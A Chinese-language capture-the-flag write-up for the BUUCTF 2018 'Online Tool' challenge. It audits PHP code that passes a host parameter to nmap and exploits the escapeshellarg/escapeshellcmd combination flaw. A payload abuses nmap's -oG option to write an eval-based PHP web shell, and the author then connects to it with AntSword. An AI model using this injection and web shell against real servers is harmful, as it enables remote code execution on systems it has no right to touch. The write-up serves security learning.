题目
打开页面显示如下,进行代码审计
上述代码主要功能是接收‘host’参数,后使用nmap扫描主机端口
首先检查是否存在HTTP_X_FORWARDED_FOR头,若存在,将值赋值给EMOTE_ADDR,是为了跟踪用户真实的IP地址
后用检查get‘host’是否设置,如果没有就会用highlight_file(FILE)函数,高亮显示代码
若设置了,host的值会被存储到变量$host中,然后将escapeshellarg函数会对其进行转义处理,以防止注入攻击。然后,生成一个基于远程ip地址的md5散列值,将其作为沙箱目录的名称,并切换到这个目录下:
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
代码首先使用远程IP地址($_SERVER['REMOTE_ADDR']
)和一个固定字符串("glzjin"
)生成一个MD5散列值,并将其存储在变量$sandbox
中。接着,它输出一个包含这个散列值的消息("you are in sandbox"),然后创建(mkdir
)一个以这个散列值为名称的目录,并切换(chdir
)到这个新创建的目录下。
注意,这段代码使用了@mkdir
和chdir
函数,并且在mkdir
函数中使用了错误抑制运算符(@
),这意味着如果在尝试创建目录时遇到错误,错误信息会被抑制,不会在页面上显示出来。
最后,nmap命令扫描指定主机。
经过上述代码审计可以发现,最后一句echo system的语句就是可以进行恶意攻击的点,system执行一条nmap命令在后面拼接上$host的内容,而$host是变量可控的,可以想到使用&&执行多条命令,但是代码中存在对host的过滤:escapeshellarg和escapeshellcmd两个函数
经过escapeshellcmd函数的处理后大部分命令都会被转义,但是当escapeshellagr()和escapeshellcmd()函数共同使用时就会产生逻辑漏洞
(这里参考大佬的本地测试进行理解[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客)
可以利用这点进行恶意语句插入,但&&、||等逻辑符号都会被转义,只能使用nmap命令“-oG”进行写文件
构造payload
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
写入文件成功,接下来访问写入的文件,由代码审计可得,文件再$sandbox目录下
http://0b956188-ef3b-4720-9677-f6fe215a57f4.node4.buuoj.cn:81/6b17d6cfb6c6a0721adf2f0de6dac5bc/hack.php
然后使用蚁剑连接
得到flag
参考文章链接:
[BUUCTF 2018]Online Tool_Fox_light的博客-CSDN博客